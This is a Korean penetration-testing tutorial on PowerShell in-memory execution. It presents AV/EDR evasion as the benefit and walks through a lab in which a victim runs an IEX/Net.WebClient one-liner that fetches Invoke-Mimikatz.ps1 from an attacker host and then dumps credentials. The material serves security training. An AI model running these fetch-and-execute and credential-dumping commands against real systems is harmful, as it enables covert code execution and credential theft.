모의해킹
윈도우명령어_04_파워쉘 심화
작성자 : Heehyeon Yoo|2025-11-15
# Windows# PowerShell# In-Memory# 보안
1. 개요(Overview)
파워쉘(PowerShell)의 강력한 기능 중 하나는 인메모리 실행(In-Memory Execution)이다. 악성 스크립트나 도구를 디스크에 저장(Download)하지 않고, 메모리 상에서 바로 로드하여 실행할 수 있다.
- 장점: 파일 시스템에 흔적(Artifact)을 남기지 않아 AV(Anti-Virus)나 EDR 솔루션의 탐지를 우회할 확률이 높다.
- 핵심:
.NET프레임워크의 기능을 활용하여 원격지의 코드를 문자열로 가져온 후 실행한다.
2. 인메모리 실행 방법(Method)
IEX (Invoke-Expression)
- 문자열을 명령어로 인식하여 실행하는 Cmdlet.
IEX와Net.WebClient를 조합하여 원격 스크립트를 실행한다.
Net.WebClient
.NET프레임워크의 클래스로, 웹 리소스를 다운로드할 수 있다.DownloadString메서드를 사용하여 스크립트 내용을 문자열(String) 형태로 메모리에 가져온다.
명령어 구조
IEX (New-Object Net.WebClient).DownloadString('http://[공격자IP]/[악성스크립트.ps1]')
New-Object Net.WebClient: 웹 클라이언트 객체 생성..DownloadString(...): 지정된 URL의 스크립트 소스를 문자열로 다운로드.IEX (...): 다운로드된 문자열 코드를 즉시 실행(Load).
3. 실습 예시(Example)
시나리오
공격자(Kali, 10.8.0.2)가 Invoke-Mimikatz.ps1을 호스팅하고, 피해자(Windows)가 이를 메모리에서 실행하여 자격을 증명(Credential)을 탈취한다.
-
공격자(Kali): 웹 서버 실행
python3 -m http.server 80 # Invoke-Mimikatz.ps1 파일이 있는 경로에서 실행 -
피해자(Windows): 파워쉘에서 인메모리 로드
IEX (New-Object Net.WebClient).DownloadString('http://10.8.0.2/Invoke-Mimikatz.ps1')- 실행 후 아무런 출력이 없더라도, 스크립트 내의 함수가 메모리에 로드된 상태다.
-
함수 실행:
Invoke-Mimikatz -DumpCreds- 로드된
Invoke-Mimikatz함수를 호출하여 메모리 상의 비밀번호 해시 등을 추출한다.
- 로드된
4. 함수 확인 및 도움말
외부 스크립트를 로드한 후, 어떤 함수를 쓸 수 있는지 모를 때는 Get-Help를 활용한다.
- 도움말 확인:
Get-Help Invoke-Mimikatz -Detailed Get-Help Invoke-Mimikatz -Examples- 스크립트 제작자가 작성한 주석 기반의 도움말을 볼 수 있어 사용법 파악에 유용하다.